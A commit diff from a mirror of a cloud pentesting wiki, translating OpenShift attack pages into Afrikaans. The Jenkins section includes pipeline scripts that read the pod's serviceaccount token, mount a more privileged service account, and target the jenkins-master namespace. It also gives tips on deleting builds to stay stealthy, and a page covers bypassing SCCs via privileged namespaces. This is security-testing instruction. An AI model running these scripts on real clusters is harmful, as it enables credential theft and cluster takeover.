mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 05:03:31 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,12 +1,12 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Sekuriteitskonteks Beperkings
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -17,7 +17,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Basiese inligting
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes vooraf b**asiese kennis** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Voordat jy met OpenShift werk, moet jy gemaklik wees met die Kubernetes-omgewing. Die hele OpenShift-hoofstuk neem aan dat jy vooraf kennis van Kubernetes het.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Basiese Inligting
|
||||
|
||||
### Introduction
|
||||
### Inleiding
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift is Red Hat se houer-toepassingplatform wat 'n superset van Kubernetes-funksies bied. OpenShift het strenger sekuriteitsbeleide. Byvoorbeeld, dit is verbode om 'n houer as root te laat loop. Dit bied ook 'n veilige-van-natuurlik opsie om sekuriteit te verbeter. OpenShift het 'n webkonsol wat 'n een-raak aanmeldbladsy insluit.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift kom met sy eie CLI, wat hier gevind kan word:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Om aan te meld met die CLI:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
### **OpenShift - Sekuriteitskonteksbeperkings** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
Benewens die [RBAC hulpbronne](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) wat beheer wat 'n gebruiker kan doen, bied OpenShift Container Platform _sekuriteitskonteksbeperkings_ (SCC) wat die aksies beheer wat 'n pod kan uitvoer en wat dit die vermoë het om toegang te verkry.
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC is 'n beleidsobjek wat spesiale reëls het wat ooreenstem met die infrastruktuur self, anders as RBAC wat reëls het wat ooreenstem met die Platform. Dit help ons om te definieer watter Linux toegang-beheer funksies die houer moet kan versoek/uitvoer. Voorbeeld: Linux Vermoëns, SECCOMP profiele, Mount localhost dirs, ens.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Die oorspronklike skrywer van hierdie bladsy is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Hierdie bladsy gee 'n paar leidrade oor hoe jy 'n Jenkins-instantie wat in 'n Openshift (of Kubernetes) kluster loop, kan aanval.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
'n Jenkins-instantie kan in beide Openshift of Kubernetes klusters ontplooi word. Afhangende van jou konteks, mag jy enige getoonde payload, yaml of tegniek moet aanpas. Vir meer inligting oor die aanval op Jenkins kan jy [hierdie bladsy](../../../pentesting-ci-cd/jenkins-security/) kyk.
|
||||
|
||||
## Prerequisites
|
||||
## Voorvereistes
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Gebruikers toegang in 'n Jenkins-instantie OF 1b. Gebruikers toegang met skryfregte tot 'n SCM-repositori waar 'n geoutomatiseerde bou geaktiveer word na 'n push/merge.
|
||||
|
||||
## How it works
|
||||
## Hoe dit werk
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Fundamenteel werk byna alles agter die skerms dieselfde as 'n gewone Jenkins-instantie wat in 'n VM loop. Die hoofverskil is die algehele argitektuur en hoe boue binne 'n openshift (of kubernetes) kluster bestuur word.
|
||||
|
||||
### Builds
|
||||
### Boue
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Wanneer 'n bou geaktiveer word, word dit eers bestuur/georkestreer deur die Jenkins meesterknoop en dan gedelegeer aan 'n agent/slave/werker. In hierdie konteks is die meesterknoop net 'n gewone pod wat in 'n naamruimte loop (wat dalk anders kan wees as die een waar werkers loop). Dieselfde geld vir die werkers/slaves, egter word hulle vernietig sodra die bou klaar is terwyl die meester altyd aanhou loop. Jou bou word gewoonlik binne 'n pod uitgevoer, met 'n standaard pod-sjabloon wat deur die Jenkins-administrateurs gedefinieer is.
|
||||
|
||||
### Triggering a build
|
||||
### Aktivering van 'n bou
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Jy het verskeie hoofmaniere om 'n bou te aktiveer, soos:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Jy het UI-toegang tot Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
'n Baie maklike en gerieflike manier is om die Replay-funksionaliteit van 'n bestaande bou te gebruik. Dit laat jou toe om 'n voorheen uitgevoerde bou te herhaal terwyl jy die groovy-skrip kan opdateer. Dit vereis voorregte op 'n Jenkins-gids en 'n vooraf gedefinieerde pyplyn. As jy stil wil wees, kan jy jou geaktiveerde boue verwyder as jy genoeg toestemming het.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Jy het skryfregte tot die SCM en geoutomatiseerde boue is via webhook geconfigureer
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Jy kan eenvoudig 'n bou-skrip (soos Jenkinsfile) redigeer, commit en push (eventueel 'n PR skep as boue slegs geaktiveer word op PR-merges). Hou in gedagte dat hierdie pad baie lawaaierig is en verhoogde voorregte benodig om jou spore skoon te maak.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
## Jenkins Bou Pod YAML oorskryding
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,278 +1,259 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Die oorspronklike skrywer van hierdie bladsy is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Kubernetes plugin vir Jenkins
|
||||
Hierdie plugin is hoofsaaklik verantwoordelik vir Jenkins se kernfunksies binne 'n openshift/kubernetes-kluster. Amptelike dokumentasie [hier](https://plugins.jenkins.io/kubernetes/)
|
||||
Dit bied 'n paar funksionaliteite soos die vermoë vir ontwikkelaars om sekere standaardkonfigurasies van 'n jenkins build pod te oorskry.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Kernfunksionaliteit
|
||||
|
||||
Hierdie plugin bied buigsaamheid aan ontwikkelaars wanneer hulle hul kode in 'n geskikte omgewing bou.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Sommige misbruik wat pod yaml oorskry gebruik
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
Dit kan egter misbruik word om enige toeganklike beeld soos Kali Linux te gebruik en arbitrêre opdragte uit te voer met behulp van vooraf geïnstalleerde gereedskap van daardie beeld. In die voorbeeld hieronder kan ons die serviceaccount token van die lopende pod uitfiltreer.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
'n Ander sintaksis om dieselfde doel te bereik.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Voorbeeld om die naamruimte van die pod te oortref
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
'n Ander voorbeeld wat probeer om 'n serviceaccount te monteer (wat dalk meer regte het as die standaard een, wat jou bou uitvoer) gebaseer op sy naam. Jy mag dalk eers moet raai of bestaande serviceaccounts opnoem.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Die dieselfde tegniek geld om 'n Secret te probeer monteer. Die einddoel hier sou wees om uit te vind hoe om jou pod-bou te konfigureer om effektief te pivot of privilige te verkry.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Om verder te gaan
|
||||
|
||||
## Going further
|
||||
Sodra jy gewoond raak om daarmee te speel, gebruik jou kennis van Jenkins en Kubernetes/Openshift om miskonfigurasies / misbruik te vind.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Vraag jouself die volgende vrae:
|
||||
|
||||
Ask yourself the following questions:
|
||||
- Watter diensrekening word gebruik om bou pods te ontplooi?
|
||||
- Watter rolle en toestemmings het dit? Kan dit secrets van die namespace lees waarin ek tans is?
|
||||
- Kan ek ander bou pods verder opnoem?
|
||||
- Van 'n gecompromitteerde sa, kan ek opdragte op die meester node/pod uitvoer?
|
||||
- Kan ek die kluster verder opnoem om elders te pivot?
|
||||
- Watter SCC is toegepas?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Jy kan uitvind watter oc/kubectl opdragte om uit te reik [hier](../openshift-basic-information.md) en [hier](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Moontlike privesc/pivoting scenario's
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Kom ons neem aan dat jy tydens jou assessering uitgevind het dat alle jenkins boue binne 'n namespace genaamd _worker-ns_ loop. Jy het uitgevind dat 'n standaard diensrekening genaamd _default-sa_ op die bou pods gemonteer is, maar dit het nie soveel toestemmings nie, behalwe lees toegang op sommige hulpbronne, maar jy was in staat om 'n bestaande diensrekening genaamd _master-sa_ te identifiseer.
|
||||
Kom ons neem ook aan dat jy die oc opdrag geïnstalleer het binne die lopende bou houer.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Met die onderstaande bou skrip kan jy beheer oor die _master-sa_ diensrekening neem en verder opnoem.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
Afhangende van jou toegang, moet jy óf jou aanval vanaf die bou-skrip voortset óf jy kan direk aanmeld as hierdie sa op die lopende kluster:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
As hierdie sa genoeg toestemming het (soos pod/exec), kan jy ook die hele jenkins-instantie oorneem deur opdragte binne die master node pod uit te voer, as dit binne dieselfde naamruimte draai. Jy kan hierdie pod maklik identifiseer deur sy naam en deur die feit dat dit 'n PVC (persistente volume eis) moet monteer wat gebruik word om jenkins-data te stoor.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
In die geval dat die meester node pod nie in dieselfde naamruimte as die werkers loop nie, kan jy soortgelyke aanvalle probeer deur die meester naamruimte te teiken. Kom ons neem aan dit word _jenkins-master_ genoem. Hou in gedagte dat die serviceAccount master-sa op die _jenkins-master_ naamruimte moet bestaan (en mag nie in die _worker-ns_ naamruimte bestaan nie)
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
|
||||
## Missing Service Account
|
||||
## Ontbrekende Diensrekening
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## SCC Omseiling
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,23 @@
|
||||
# OpenShift - Missing Service Account
|
||||
# OpenShift - Ontbrekende Diensrekening
|
||||
|
||||
## Missing Service Account
|
||||
## Ontbrekende Diensrekening
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Dit gebeur dat 'n kluster ontplooi word met 'n voorafgeconfigureerde sjabloon wat outomaties Rolle, RolBindings en selfs SCC aan 'n diensrekening toewys wat nog nie geskep is nie. Dit kan lei tot privilige-escalasie in die geval waar jy hulle kan skep. In hierdie geval sal jy in staat wees om die token van die nuut geskepte SA te verkry en die rol of SCC wat daarmee geassosieer is. Dieselfde geval gebeur wanneer die ontbrekende SA deel is van 'n ontbrekende projek; in hierdie geval, as jy die projek kan skep en dan die SA, kry jy die Rolle en SCC wat geassosieer is.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
In die vorige grafiek het ons verskeie AbsentProject gekry wat beteken dat verskeie projekte in Rolle Bindings of SCC verskyn, maar nog nie in die kluster geskep is nie. In dieselfde geestelike het ons ook 'n AbsentServiceAccount gekry.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
As ons 'n projek en die ontbrekende SA daarin kan skep, sal die SA geërf word van die Rol of die SCC wat die AbsentServiceAccount geteiken het. Dit kan lei tot privilige-escalasie.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
Die volgende voorbeeld toon 'n ontbrekende SA wat node-exporter SCC toegeken word:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
## Gereedskap
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
Die volgende gereedskap kan gebruik word om hierdie probleem te evalueer en meer algemeen om 'n OpenShift-kluster te grafiek:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
# Openshift - SCC omseiling
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**Die oorspronklike skrywer van hierdie bladsy is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Bevoorregte Namespaces
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Standaard, SCC geld nie op die volgende projekte nie:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
As jy pods binne een van daardie namespaces ontplooi, sal daar geen SCC afgedwing word nie, wat die ontplooiing van bevoorregte pods of die monteer van die gasheer lêerstelsel moontlik maak.
|
||||
|
||||
## Namespace Label
|
||||
## Namespace Etiket
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Daar is 'n manier om die SCC-toepassing op jou pod te deaktiveer volgens RedHat-dokumentasie. Jy sal ten minste een van die volgende toestemmings moet hê:
|
||||
|
||||
- Skep 'n Namespace en Skep 'n Pod op hierdie Namespace
|
||||
- Wysig 'n Namespace en Skep 'n Pod op hierdie Namespace
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
